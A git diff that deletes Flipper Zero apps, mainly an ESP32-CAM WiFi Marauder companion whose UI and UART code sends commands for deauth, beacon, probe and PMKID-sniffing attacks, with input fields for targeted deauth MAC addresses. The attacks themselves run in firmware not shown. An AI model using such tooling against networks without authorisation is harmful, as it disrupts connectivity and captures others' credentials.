wifi_marauder_script_worker_alloc(); - -/** - * @brief Starts the execution of the worker and sets the callback function to be called after each stage is executed. - * - * @param instance A pointer to the instance of WifiMarauderScriptWorker to start. - * @param script Script to be executed - * @return True if the worker was successfully started, false otherwise. - */ -bool wifi_marauder_script_worker_start( - WifiMarauderScriptWorker* instance, - WifiMarauderScript* script); - -/** - * @brief Frees the memory used by the instance of WifiMarauderScriptWorker. - * - * @param script A pointer to the instance of WifiMarauderScriptWorker to free. - */ -void wifi_marauder_script_worker_free(WifiMarauderScriptWorker* script); diff --git a/applications/external/esp32cam_marauder_companion/wifi_10px.png b/applications/external/esp32cam_marauder_companion/wifi_10px.png deleted file mode 100644 index c13534660..000000000 Binary files a/applications/external/esp32cam_marauder_companion/wifi_10px.png and /dev/null differ diff --git a/applications/external/esp32cam_marauder_companion/wifi_marauder_app.c b/applications/external/esp32cam_marauder_companion/wifi_marauder_app.c deleted file mode 100644 index 2065b057c..000000000 --- a/applications/external/esp32cam_marauder_companion/wifi_marauder_app.c +++ /dev/null @@ -1,203 +0,0 @@ -#include "wifi_marauder_app_i.h" - -#include -#include - -static bool wifi_marauder_app_custom_event_callback(void* context, uint32_t event) { - furi_assert(context); - WifiMarauderApp* app = context; - return scene_manager_handle_custom_event(app->scene_manager, event); -} - -static bool wifi_marauder_app_back_event_callback(void* context) { - furi_assert(context); - WifiMarauderApp* app = context; - return scene_manager_handle_back_event(app->scene_manager); -} - -static void wifi_marauder_app_tick_event_callback(void* context) { - furi_assert(context); - WifiMarauderApp* app = context; - scene_manager_handle_tick_event(app->scene_manager); -} - -WifiMarauderApp* wifi_marauder_app_alloc() { - WifiMarauderApp* app = malloc(sizeof(WifiMarauderApp)); - - app->gui = furi_record_open(RECORD_GUI); - app->dialogs = furi_record_open(RECORD_DIALOGS); - app->storage = furi_record_open(RECORD_STORAGE); - app->capture_file = storage_file_alloc(app->storage); - app->log_file = storage_file_alloc(app->storage); - app->save_pcap_setting_file = storage_file_alloc(app->storage); - app->save_logs_setting_file = storage_file_alloc(app->storage); - - app->view_dispatcher = view_dispatcher_alloc(); - app->scene_manager = scene_manager_alloc(&wifi_marauder_scene_handlers, app); - view_dispatcher_enable_queue(app->view_dispatcher); - view_dispatcher_set_event_callback_context(app->view_dispatcher, app); - - view_dispatcher_set_custom_event_callback( - app->view_dispatcher, wifi_marauder_app_custom_event_callback); - view_dispatcher_set_navigation_event_callback( - app->view_dispatcher, wifi_marauder_app_back_event_callback); - view_dispatcher_set_tick_event_callback( - app->view_dispatcher, wifi_marauder_app_tick_event_callback, 100); - - view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - - app->var_item_list = variable_item_list_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - WifiMarauderAppViewVarItemList, - variable_item_list_get_view(app->var_item_list)); - - for(int i = 0; i < NUM_MENU_ITEMS; ++i) { - app->selected_option_index[i] = 0; - } - - app->special_case_input_step = 0; - - app->text_box = text_box_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, WifiMarauderAppViewConsoleOutput, text_box_get_view(app->text_box)); - app->text_box_store = furi_string_alloc(); - furi_string_reserve(app->text_box_store, WIFI_MARAUDER_TEXT_BOX_STORE_SIZE); - - app->text_input = text_input_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, WifiMarauderAppViewTextInput, text_input_get_view(app->text_input)); - - app->widget = widget_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, WifiMarauderAppViewWidget, widget_get_view(app->widget)); - - app->has_saved_logs_this_session = false; - - // if user hasn't confirmed whether to save pcaps and logs to sdcard, then prompt when scene starts - app->need_to_prompt_settings_init = - (!storage_file_exists(app->storage, SAVE_PCAP_SETTING_FILEPATH) || - !storage_file_exists(app->storage, SAVE_LOGS_SETTING_FILEPATH)); - - // Submenu - app->submenu = submenu_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, WifiMarauderAppViewSubmenu, submenu_get_view(app->submenu)); - - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneStart); - - return app; -} - -void wifi_marauder_make_app_folder(WifiMarauderApp* app) { - furi_assert(app); - - if(!storage_simply_mkdir(app->storage, MARAUDER_APP_FOLDER)) { - dialog_message_show_storage_error(app->dialogs, "Cannot create\napp folder"); - } - - if(!storage_simply_mkdir(app->storage, MARAUDER_APP_FOLDER_PCAPS)) { - dialog_message_show_storage_error(app->dialogs, "Cannot create\npcaps folder"); - } - - if(!storage_simply_mkdir(app->storage, MARAUDER_APP_FOLDER_LOGS)) { - dialog_message_show_storage_error(app->dialogs, "Cannot create\npcaps folder"); - } - - if(!storage_simply_mkdir(app->storage, MARAUDER_APP_FOLDER_SCRIPTS)) { - dialog_message_show_storage_error(app->dialogs, "Cannot create\nscripts folder"); - } -} - -void wifi_marauder_load_settings(WifiMarauderApp* app) { - if(storage_file_open( - app->save_pcap_setting_file, - SAVE_PCAP_SETTING_FILEPATH, - FSAM_READ, - FSOM_OPEN_EXISTING)) { - char ok[1]; - storage_file_read(app->save_pcap_setting_file, ok, sizeof(ok)); - app->ok_to_save_pcaps = ok[0] == 'Y'; - } - storage_file_close(app->save_pcap_setting_file); - - if(storage_file_open( - app->save_logs_setting_file, - SAVE_LOGS_SETTING_FILEPATH, - FSAM_READ, - FSOM_OPEN_EXISTING)) { - char ok[1]; - storage_file_read(app->save_logs_setting_file, ok, sizeof(ok)); - app->ok_to_save_logs = ok[0] == 'Y'; - } - storage_file_close(app->save_logs_setting_file); -} - -void wifi_marauder_app_free(WifiMarauderApp* app) { - furi_assert(app); - - // Views - view_dispatcher_remove_view(app->view_dispatcher, WifiMarauderAppViewVarItemList); - view_dispatcher_remove_view(app->view_dispatcher, WifiMarauderAppViewConsoleOutput); - view_dispatcher_remove_view(app->view_dispatcher, WifiMarauderAppViewTextInput); - view_dispatcher_remove_view(app->view_dispatcher, WifiMarauderAppViewWidget); - view_dispatcher_remove_view(app->view_dispatcher, WifiMarauderAppViewSubmenu); - - widget_free(app->widget); - text_box_free(app->text_box); - furi_string_free(app->text_box_store); - text_input_free(app->text_input); - submenu_free(app->submenu); - variable_item_list_free(app->var_item_list); - storage_file_free(app->capture_file); - storage_file_free(app->log_file); - storage_file_free(app->save_pcap_setting_file); - storage_file_free(app->save_logs_setting_file); - - // View dispatcher - view_dispatcher_free(app->view_dispatcher); - scene_manager_free(app->scene_manager); - - wifi_marauder_uart_free(app->uart); - wifi_marauder_uart_free(app->lp_uart); - - // Close records - furi_record_close(RECORD_GUI); - furi_record_close(RECORD_STORAGE); - furi_record_close(RECORD_DIALOGS); - - free(app); -} - -int32_t wifi_marauder_app(void* p) { - UNUSED(p); - uint8_t attempts = 0; - while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) { - furi_hal_power_enable_otg(); - furi_delay_ms(10); - } - furi_delay_ms(200); - for(int i = 0; i < 2; i++) { - furi_delay_ms(500); - furi_hal_uart_tx(FuriHalUartIdUSART1, (uint8_t[1]){'w'}, 1); - } - furi_delay_ms(1); - - WifiMarauderApp* wifi_marauder_app = wifi_marauder_app_alloc(); - - wifi_marauder_make_app_folder(wifi_marauder_app); - wifi_marauder_load_settings(wifi_marauder_app); - - wifi_marauder_app->uart = wifi_marauder_usart_init(wifi_marauder_app); - wifi_marauder_app->lp_uart = wifi_marauder_lp_uart_init(wifi_marauder_app); - - view_dispatcher_run(wifi_marauder_app->view_dispatcher); - - wifi_marauder_app_free(wifi_marauder_app); - - if(furi_hal_power_is_otg_enabled()) { - furi_hal_power_disable_otg(); - } - - return 0; -} diff --git a/applications/external/esp32cam_marauder_companion/wifi_marauder_app.h b/applications/external/esp32cam_marauder_companion/wifi_marauder_app.h deleted file mode 100644 index 785c80334..000000000 --- a/applications/external/esp32cam_marauder_companion/wifi_marauder_app.h +++ /dev/null @@ -1,13 +0,0 @@ -#pragma once - -#ifdef __cplusplus -extern "C" { -#endif - -#define WIFI_MARAUDER_APP_VERSION "v0.6.2" - -typedef struct WifiMarauderApp WifiMarauderApp; - -#ifdef __cplusplus -} -#endif diff --git a/applications/external/esp32cam_marauder_companion/wifi_marauder_app_i.h b/applications/external/esp32cam_marauder_companion/wifi_marauder_app_i.h deleted file mode 100644 index 463ab4c46..000000000 --- a/applications/external/esp32cam_marauder_companion/wifi_marauder_app_i.h +++ /dev/null @@ -1,146 +0,0 @@ -//** Includes sniffbt and sniffskim for compatible ESP32-WROOM hardware. -// wifi_marauder_scene_start.c also changed **// -#pragma once - -#include "wifi_marauder_app.h" -#include "scenes/wifi_marauder_scene.h" -#include "wifi_marauder_custom_event.h" -#include "wifi_marauder_uart.h" -#include "file/sequential_file.h" -#include "script/wifi_marauder_script.h" -#include "script/wifi_marauder_script_worker.h" -#include "script/wifi_marauder_script_executor.h" -#include "script/menu/wifi_marauder_script_stage_menu.h" - -#include -#include -#include -#include -#include -#include -#include -#include - -#include "mayhem_marauder_icons.h" -#include -#include -#include -#include - -#define NUM_MENU_ITEMS (20) - -#define WIFI_MARAUDER_TEXT_BOX_STORE_SIZE (4096) -#define WIFI_MARAUDER_TEXT_INPUT_STORE_SIZE (512) - -#define MARAUDER_APP_FOLDER_USER "apps_data/marauder" -#define MARAUDER_APP_FOLDER EXT_PATH(MARAUDER_APP_FOLDER_USER) -#define MARAUDER_APP_FOLDER_PCAPS MARAUDER_APP_FOLDER "/pcaps" -#define MARAUDER_APP_FOLDER_LOGS MARAUDER_APP_FOLDER "/logs" -#define MARAUDER_APP_FOLDER_USER_PCAPS MARAUDER_APP_FOLDER_USER "/pcaps" -#define MARAUDER_APP_FOLDER_USER_LOGS MARAUDER_APP_FOLDER_USER "/logs" -#define MARAUDER_APP_FOLDER_SCRIPTS MARAUDER_APP_FOLDER "/scripts" -#define MARAUDER_APP_SCRIPT_PATH(file_name) MARAUDER_APP_FOLDER_SCRIPTS "/" file_name ".json" -#define SAVE_PCAP_SETTING_FILEPATH MARAUDER_APP_FOLDER "/save_pcaps_here.setting" -#define SAVE_LOGS_SETTING_FILEPATH MARAUDER_APP_FOLDER "/save_logs_here.setting" - -typedef enum WifiMarauderUserInputType { - WifiMarauderUserInputTypeString, - WifiMarauderUserInputTypeNumber, - WifiMarauderUserInputTypeFileName -} WifiMarauderUserInputType; - -struct WifiMarauderApp { - Gui* gui; - ViewDispatcher* view_dispatcher; - SceneManager* scene_manager; - - char text_input_store[WIFI_MARAUDER_TEXT_INPUT_STORE_SIZE + 1]; - FuriString* text_box_store; - size_t text_box_store_strlen; - TextBox* text_box; - TextInput* text_input; - Storage* storage; - File* capture_file; - File* log_file; - char log_file_path[100]; - File* save_pcap_setting_file; - File* save_logs_setting_file; - bool need_to_prompt_settings_init; - int which_prompt; - bool ok_to_save_pcaps; - bool ok_to_save_logs; - bool has_saved_logs_this_session; - DialogsApp* dialogs; - - VariableItemList* var_item_list; - Widget* widget; - Submenu* submenu; - int open_log_file_page; - int open_log_file_num_pages; - - WifiMarauderUart* uart; - WifiMarauderUart* lp_uart; - int selected_menu_index; - int selected_option_index[NUM_MENU_ITEMS]; - const char* selected_tx_string; - bool is_command; - bool is_custom_tx_string; - bool focus_console_start; - bool show_stopscan_tip; - bool is_writing_pcap; - bool is_writing_log; - - // User input - WifiMarauderUserInputType user_input_type; - char** user_input_string_reference; - int* user_input_number_reference; - char* user_input_file_dir; - char* user_input_file_extension; - - // Automation script - WifiMarauderScript* script; - WifiMarauderScriptWorker* script_worker; - FuriString** script_list; - int script_list_count; - WifiMarauderScriptStage* script_edit_selected_stage; - WifiMarauderScriptStageMenu* script_stage_menu; - WifiMarauderScriptStageListItem* script_stage_edit_first_item; - char*** script_stage_edit_strings_reference; - int* script_stage_edit_string_count_reference; - int** script_stage_edit_numbers_reference; - int* script_stage_edit_number_count_reference; - - // For input source and destination MAC in targeted deauth attack - int special_case_input_step; - char special_case_input_src_addr[20]; - char special_case_input_dst_addr[20]; -}; - -// Supported commands: -// https://github.com/justcallmekoko/ESP32Marauder/wiki/cli -// Scan -// -> If list is empty, then start a new scanap. (Tap any button to stop.) -// -> If there's a list, provide option to rescan and dump list of targets to select. -// -> Press BACK to go back to top-level. -// Attack -// -> Beacon -// -> Deauth -// -> Probe -// -> Rickroll -// Sniff -// -> Beacon -// -> Deauth -// -> ESP -// -> PMKID -// -> Pwnagotchi -// Channel -// Update -// Reboot - -typedef enum { - WifiMarauderAppViewVarItemList, - WifiMarauderAppViewConsoleOutput, - WifiMarauderAppViewTextInput, - WifiMarauderAppViewWidget, - WifiMarauderAppViewSubmenu, -} WifiMarauderAppView; diff --git a/applications/external/esp32cam_marauder_companion/wifi_marauder_custom_event.h b/applications/external/esp32cam_marauder_companion/wifi_marauder_custom_event.h deleted file mode 100644 index b79632e0c..000000000 --- a/applications/external/esp32cam_marauder_companion/wifi_marauder_custom_event.h +++ /dev/null @@ -1,13 +0,0 @@ -#pragma once - -typedef enum { - WifiMarauderEventRefreshConsoleOutput = 0, - WifiMarauderEventStartConsole, - WifiMarauderEventStartKeyboard, - WifiMarauderEventSaveSourceMac, - WifiMarauderEventSaveDestinationMac, - WifiMarauderEventStartSettingsInit, - WifiMarauderEventStartLogViewer, - WifiMarauderEventStartScriptSelect, - WifiMarauderEventStartSniffPmkidOptions, -} WifiMarauderCustomEvent; diff --git a/applications/external/esp32cam_marauder_companion/wifi_marauder_uart.c b/applications/external/esp32cam_marauder_companion/wifi_marauder_uart.c deleted file mode 100644 index 77ad239b9..000000000 --- a/applications/external/esp32cam_marauder_companion/wifi_marauder_uart.c +++ /dev/null @@ -1,115 +0,0 @@ -#include "wifi_marauder_app_i.h" -#include "wifi_marauder_uart.h" - -#define UART_CH (FuriHalUartIdUSART1) -#define LP_UART_CH (FuriHalUartIdLPUART1) -#define BAUDRATE (230400) - -struct WifiMarauderUart { - WifiMarauderApp* app; - FuriHalUartId channel; - FuriThread* rx_thread; - FuriStreamBuffer* rx_stream; - uint8_t rx_buf[RX_BUF_SIZE + 1]; - void (*handle_rx_data_cb)(uint8_t* buf, size_t len, void* context); -}; - -typedef enum { - WorkerEvtStop = (1 << 0), - WorkerEvtRxDone = (1 << 1), -} WorkerEvtFlags; - -void wifi_marauder_uart_set_handle_rx_data_cb( - WifiMarauderUart* uart, - void (*handle_rx_data_cb)(uint8_t* buf, size_t len, void* context)) { - furi_assert(uart); - uart->handle_rx_data_cb = handle_rx_data_cb; -} - -#define WORKER_ALL_RX_EVENTS (WorkerEvtStop | WorkerEvtRxDone) - -void wifi_marauder_uart_on_irq_cb(UartIrqEvent ev, uint8_t data, void* context) { - WifiMarauderUart* uart = (WifiMarauderUart*)context; - - if(ev == UartIrqEventRXNE) { - furi_stream_buffer_send(uart->rx_stream, &data, 1, 0); - furi_thread_flags_set(furi_thread_get_id(uart->rx_thread), WorkerEvtRxDone); - } -} - -static int32_t uart_worker(void* context) { - WifiMarauderUart* uart = (void*)context; - - while(1) { - uint32_t events = - furi_thread_flags_wait(WORKER_ALL_RX_EVENTS, FuriFlagWaitAny, FuriWaitForever); - furi_check((events & FuriFlagError) == 0); - if(events & WorkerEvtStop) break; - if(events & WorkerEvtRxDone) { - size_t len = furi_stream_buffer_receive(uart->rx_stream, uart->rx_buf, RX_BUF_SIZE, 0); - if(len > 0) { - if(uart->handle_rx_data_cb) uart->handle_rx_data_cb(uart->rx_buf, len, uart->app); - } - } - } - - furi_stream_buffer_free(uart->rx_stream); - - return 0; -} - -void wifi_marauder_uart_tx(uint8_t* data, size_t len) { - furi_hal_uart_tx(UART_CH, data, len); -} - -void wifi_marauder_lp_uart_tx(uint8_t* data, size_t len) { - furi_hal_uart_tx(LP_UART_CH, data, len); -} - -WifiMarauderUart* - wifi_marauder_uart_init(WifiMarauderApp* app, FuriHalUartId channel, const char* thread_name) { - WifiMarauderUart* uart = malloc(sizeof(WifiMarauderUart)); - - uart->app = app; - uart->channel = channel; - uart->rx_stream = furi_stream_buffer_alloc(RX_BUF_SIZE, 1); - uart->rx_thread = furi_thread_alloc(); - furi_thread_set_name(uart->rx_thread, thread_name); - furi_thread_set_stack_size(uart->rx_thread, 1024); - furi_thread_set_context(uart->rx_thread, uart); - furi_thread_set_callback(uart->rx_thread, uart_worker); - furi_thread_start(uart->rx_thread); - if(channel == FuriHalUartIdUSART1) { - furi_hal_console_disable(); - } else if(channel == FuriHalUartIdLPUART1) { - furi_hal_uart_init(channel, BAUDRATE); - } - furi_hal_uart_set_br(channel, BAUDRATE); - furi_hal_uart_set_irq_cb(channel, wifi_marauder_uart_on_irq_cb, uart); - - return uart; -} - -WifiMarauderUart* wifi_marauder_usart_init(WifiMarauderApp* app) { - return wifi_marauder_uart_init(app, UART_CH, "WifiMarauderUartRxThread"); -} - -WifiMarauderUart* wifi_marauder_lp_uart_init(WifiMarauderApp* app) { - return wifi_marauder_uart_init(app, LP_UART_CH, "WifiMarauderLPUartRxThread"); -} - -void wifi_marauder_uart_free(WifiMarauderUart* uart) { - furi_assert(uart); - - furi_thread_flags_set(furi_thread_get_id(uart->rx_thread), WorkerEvtStop); - furi_thread_join(uart->rx_thread); - furi_thread_free(uart->rx_thread); - - furi_hal_uart_set_irq_cb(uart->channel, NULL, NULL); - if(uart->channel == FuriHalUartIdLPUART1) { - furi_hal_uart_deinit(uart->channel); - } - furi_hal_console_enable(); - - free(uart); -} \ No newline at end of file diff --git a/applications/external/esp32cam_marauder_companion/wifi_marauder_uart.h b/applications/external/esp32cam_marauder_companion/wifi_marauder_uart.h deleted file mode 100644 index e352cfec5..000000000 --- a/applications/external/esp32cam_marauder_companion/wifi_marauder_uart.h +++ /dev/null @@ -1,16 +0,0 @@ -#pragma once - -#include "furi_hal.h" - -#define RX_BUF_SIZE (2048) - -typedef struct WifiMarauderUart WifiMarauderUart; - -void wifi_marauder_uart_set_handle_rx_data_cb( - WifiMarauderUart* uart, - void (*handle_rx_data_cb)(uint8_t* buf, size_t len, void* context)); -void wifi_marauder_uart_tx(uint8_t* data, size_t len); -void wifi_marauder_lp_uart_tx(uint8_t* data, size_t len); -WifiMarauderUart* wifi_marauder_usart_init(WifiMarauderApp* app); -WifiMarauderUart* wifi_marauder_lp_uart_init(WifiMarauderApp* app); -void wifi_marauder_uart_free(WifiMarauderUart* uart); diff --git a/applications/external/esp32cam_marauder_companion/wifi_marauder_validators.c b/applications/external/esp32cam_marauder_companion/wifi_marauder_validators.c deleted file mode 100644 index 5bec88269..000000000 --- a/applications/external/esp32cam_marauder_companion/wifi_marauder_validators.c +++ /dev/null @@ -1,57 +0,0 @@ -#include -#include "wifi_marauder_validators.h" -#include - -struct ValidatorIsFile { - char* app_path_folder; - const char* app_extension; - char* current_name; -}; - -bool validator_is_file_callback(const char* text, FuriString* error, void* context) { - furi_assert(context); - ValidatorIsFile* instance = context; - - if(instance->current_name != NULL) { - if(strcmp(instance->current_name, text) == 0) { - return true; - } - } - - bool ret = true; - FuriString* path = furi_string_alloc_printf( - "%s/%s%s", instance->app_path_folder, text, instance->app_extension); - Storage* storage = furi_record_open(RECORD_STORAGE); - if(storage_common_stat(storage, furi_string_get_cstr(path), NULL) == FSE_OK) { - ret = false; - furi_string_printf(error, "This name\nexists!\nChoose\nanother one."); - } else { - ret = true; - } - furi_string_free(path); - furi_record_close(RECORD_STORAGE); - - return ret; -} - -ValidatorIsFile* validator_is_file_alloc_init( - const char* app_path_folder, - const char* app_extension, - const char* current_name) { - ValidatorIsFile* instance = malloc(sizeof(ValidatorIsFile)); - - instance->app_path_folder = strdup(app_path_folder); - instance->app_extension = app_extension; - if(current_name != NULL) { - instance->current_name = strdup(current_name); - } - - return instance; -} - -void validator_is_file_free(ValidatorIsFile* instance) { - furi_assert(instance); - free(instance->app_path_folder); - free(instance->current_name); - free(instance); -} diff --git a/applications/external/esp32cam_marauder_companion/wifi_marauder_validators.h b/applications/external/esp32cam_marauder_companion/wifi_marauder_validators.h deleted file mode 100644 index d9200b6db..000000000 --- a/applications/external/esp32cam_marauder_companion/wifi_marauder_validators.h +++ /dev/null @@ -1,21 +0,0 @@ -#pragma once - -#include - -#ifdef __cplusplus -extern "C" { -#endif -typedef struct ValidatorIsFile ValidatorIsFile; - -ValidatorIsFile* validator_is_file_alloc_init( - const char* app_path_folder, - const char* app_extension, - const char* current_name); - -void validator_is_file_free(ValidatorIsFile* instance); - -bool validator_is_file_callback(const char* text, FuriString* error, void* context); - -#ifdef __cplusplus -} -#endif diff --git a/applications/external/esp32cam_morseflasher/LICENSE b/applications/external/esp32cam_morseflasher/LICENSE deleted file mode 100644 index c4613e7ea..000000000 --- a/applications/external/esp32cam_morseflasher/LICENSE +++ /dev/null @@ -1,22 +0,0 @@ -MIT License - -Copyright (c) 2023 Malik cool4uma - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. - diff --git a/applications/external/esp32cam_morseflasher/application.fam b/applications/external/esp32cam_morseflasher/application.fam deleted file mode 100644 index 9b74574cf..000000000 --- a/applications/external/esp32cam_morseflasher/application.fam +++ /dev/null @@ -1,13 +0,0 @@ -App( - appid="mayhem_morseflash", - name="[MAYHEM] Morse Flash", - apptype=FlipperAppType.EXTERNAL, - entry_point="uart_terminal_app", - cdefines=["APP_UART_TERMINAL"], - requires=["gui"], - stack_size=1 * 1024, - fap_icon_assets="assets", - fap_icon="icon.png", - fap_category="GPIO", - fap_description="ESP32-CAM app to stream a message in morse using the powerful flashlight. [Unplug the USB cable to test with Mayhem]", -) diff --git a/applications/external/esp32cam_morseflasher/icon.png b/applications/external/esp32cam_morseflasher/icon.png deleted file mode 100644 index 5cd18293c..000000000 Binary files a/applications/external/esp32cam_morseflasher/icon.png and /dev/null differ diff --git a/applications/external/esp32cam_morseflasher/scenes/uart_terminal_scene.c b/applications/external/esp32cam_morseflasher/scenes/uart_terminal_scene.c deleted file mode 100644 index 451c5d98b..000000000 --- a/applications/external/esp32cam_morseflasher/scenes/uart_terminal_scene.c +++ /dev/null @@ -1,30 +0,0 @@ -#include "uart_terminal_scene.h" - -// Generate scene on_enter handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter, -void (*const uart_terminal_scene_on_enter_handlers[])(void*) = { -#include "uart_terminal_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_event handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event, -bool (*const uart_terminal_scene_on_event_handlers[])(void* context, SceneManagerEvent event) = { -#include "uart_terminal_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_exit handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit, -void (*const uart_terminal_scene_on_exit_handlers[])(void* context) = { -#include "uart_terminal_scene_config.h" -}; -#undef ADD_SCENE - -// Initialize scene handlers configuration structure -const SceneManagerHandlers uart_terminal_scene_handlers = { - .on_enter_handlers = uart_terminal_scene_on_enter_handlers, - .on_event_handlers = uart_terminal_scene_on_event_handlers, - .on_exit_handlers = uart_terminal_scene_on_exit_handlers, - .scene_num = UART_TerminalSceneNum, -}; diff --git a/applications/external/esp32cam_morseflasher/scenes/uart_terminal_scene.h b/applications/external/esp32cam_morseflasher/scenes/uart_terminal_scene.h deleted file mode 100644 index c6f4ed4b4..000000000 --- a/applications/external/esp32cam_morseflasher/scenes/uart_terminal_scene.h +++ /dev/null @@ -1,29 +0,0 @@ -#pragma once - -#include - -// Generate scene id and total number -#define ADD_SCENE(prefix, name, id) UART_TerminalScene##id, -typedef enum { -#include "uart_terminal_scene_config.h" - UART_TerminalSceneNum, -} UART_TerminalScene; -#undef ADD_SCENE - -extern const SceneManagerHandlers uart_terminal_scene_handlers; - -// Generate scene on_enter handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); -#include "uart_terminal_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_event handlers declaration -#define ADD_SCENE(prefix, name, id) \ - bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); -#include "uart_terminal_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_exit handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); -#include "uart_terminal_scene_config.h" -#undef ADD_SCENE diff --git a/applications/external/esp32cam_morseflasher/scenes/uart_terminal_scene_config.h b/applications/external/esp32cam_morseflasher/scenes/uart_terminal_scene_config.h deleted file mode 100644 index 51310800e..000000000 --- a/applications/external/esp32cam_morseflasher/scenes/uart_terminal_scene_config.h +++ /dev/null @@ -1,3 +0,0 @@ -ADD_SCENE(uart_terminal, start, Start) -ADD_SCENE(uart_terminal, console_output, ConsoleOutput) -ADD_SCENE(uart_terminal, text_input, TextInput) diff --git a/applications/external/esp32cam_morseflasher/scenes/uart_terminal_scene_console_output.c b/applications/external/esp32cam_morseflasher/scenes/uart_terminal_scene_console_output.c deleted file mode 100644 index 60891e9ec..000000000 --- a/applications/external/esp32cam_morseflasher/scenes/uart_terminal_scene_console_output.c +++ /dev/null @@ -1,97 +0,0 @@ -#include "../uart_terminal_app_i.h" - -void uart_terminal_console_output_handle_rx_data_cb(uint8_t* buf, size_t len, void* context) { - furi_assert(context); - UART_TerminalApp* app = context; - - // If text box store gets too big, then truncate it - app->text_box_store_strlen += len; - if(app->text_box_store_strlen >= UART_TERMINAL_TEXT_BOX_STORE_SIZE - 1) { - furi_string_right(app->text_box_store, app->text_box_store_strlen / 2); - app->text_box_store_strlen = furi_string_size(app->text_box_store) + len; - } - - // Null-terminate buf and append to text box store - buf[len] = '\0'; - furi_string_cat_printf(app->text_box_store, "%s", buf); - - view_dispatcher_send_custom_event( - app->view_dispatcher, UART_TerminalEventRefreshConsoleOutput); -} - -void uart_terminal_scene_console_output_on_enter(void* context) { - UART_TerminalApp* app = context; - - TextBox* text_box = app->text_box; - text_box_reset(app->text_box); - text_box_set_font(text_box, TextBoxFontText); - if(app->focus_console_start) { - text_box_set_focus(text_box, TextBoxFocusStart); - } else { - text_box_set_focus(text_box, TextBoxFocusEnd); - } - - if(app->is_command) { - furi_string_reset(app->text_box_store); - app->text_box_store_strlen = 0; - - // app->show_stopscan_tip in the if is just a hack to get the help displayed since there is no commands in this app - if(app->show_stopscan_tip || - 0 == strncmp("help", app->selected_tx_string, strlen("help"))) { - const char* help_msg = - "Morse Flasher for\nMayhem Fin\n\nBased on UART terminal by\ncool4uma, which is a\nmodified WiFi Marauder\ncompanion by 0xchocolate\n\n"; - furi_string_cat_str(app->text_box_store, help_msg); - app->text_box_store_strlen += strlen(help_msg); - } - - if(app->show_stopscan_tip) { - const char* help_msg = "Press BACK to return\n"; - furi_string_cat_str(app->text_box_store, help_msg); - app->text_box_store_strlen += strlen(help_msg); - } - } - - // Set starting text - for "View Log", this will just be what was already in the text box store - text_box_set_text(app->text_box, furi_string_get_cstr(app->text_box_store)); - - scene_manager_set_scene_state(app->scene_manager, UART_TerminalSceneConsoleOutput, 0); - view_dispatcher_switch_to_view(app->view_dispatcher, UART_TerminalAppViewConsoleOutput); - - // Register callback to receive data - uart_terminal_uart_set_handle_rx_data_cb( - app->uart, uart_terminal_console_output_handle_rx_data_cb); // setup callback for rx thread - - // Send command with newline '\n' - /*if(!app->is_command && app->selected_tx_string)*/ { - uart_terminal_uart_tx( - (uint8_t*)(app->selected_tx_string), strlen(app->selected_tx_string)); - uart_terminal_uart_tx((uint8_t*)("\n"), 1); - } -} - -bool uart_terminal_scene_console_output_on_event(void* context, SceneManagerEvent event) { - UART_TerminalApp* app = context; - - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - text_box_set_text(app->text_box, furi_string_get_cstr(app->text_box_store)); - consumed = true; - } else if(event.type == SceneManagerEventTypeTick) { - consumed = true; - } - - return consumed; -} - -void uart_terminal_scene_console_output_on_exit(void* context) { - UART_TerminalApp* app = context; - - // Unregister rx callback - uart_terminal_uart_set_handle_rx_data_cb(app->uart, NULL); - - // Automatically logut when exiting view - //if(app->is_command) { - // uart_terminal_uart_tx((uint8_t*)("exit\n"), strlen("exit\n")); - //} -} diff --git a/applications/external/esp32cam_morseflasher/scenes/uart_terminal_scene_start.c b/applications/external/esp32cam_morseflasher/scenes/uart_terminal_scene_start.c deleted file mode 100644 index a815b97c4..000000000 --- a/applications/external/esp32cam_morseflasher/scenes/uart_terminal_scene_start.c +++ /dev/null @@ -1,137 +0,0 @@ -#include "../uart_terminal_app_i.h" - -// For each command, define whether additional arguments are needed -// (enabling text input to fill them out), and whether the console -// text box should focus at the start of the output or the end -typedef enum { NO_ARGS = 0, INPUT_ARGS, TOGGLE_ARGS } InputArgs; - -typedef enum { FOCUS_CONSOLE_END = 0, FOCUS_CONSOLE_START, FOCUS_CONSOLE_TOGGLE } FocusConsole; - -#define SHOW_STOPSCAN_TIP (true) -#define NO_TIP (false) - -#define MAX_OPTIONS (9) -typedef struct { - const char* item_string; - const char* options_menu[MAX_OPTIONS]; - int num_options_menu; - const char* 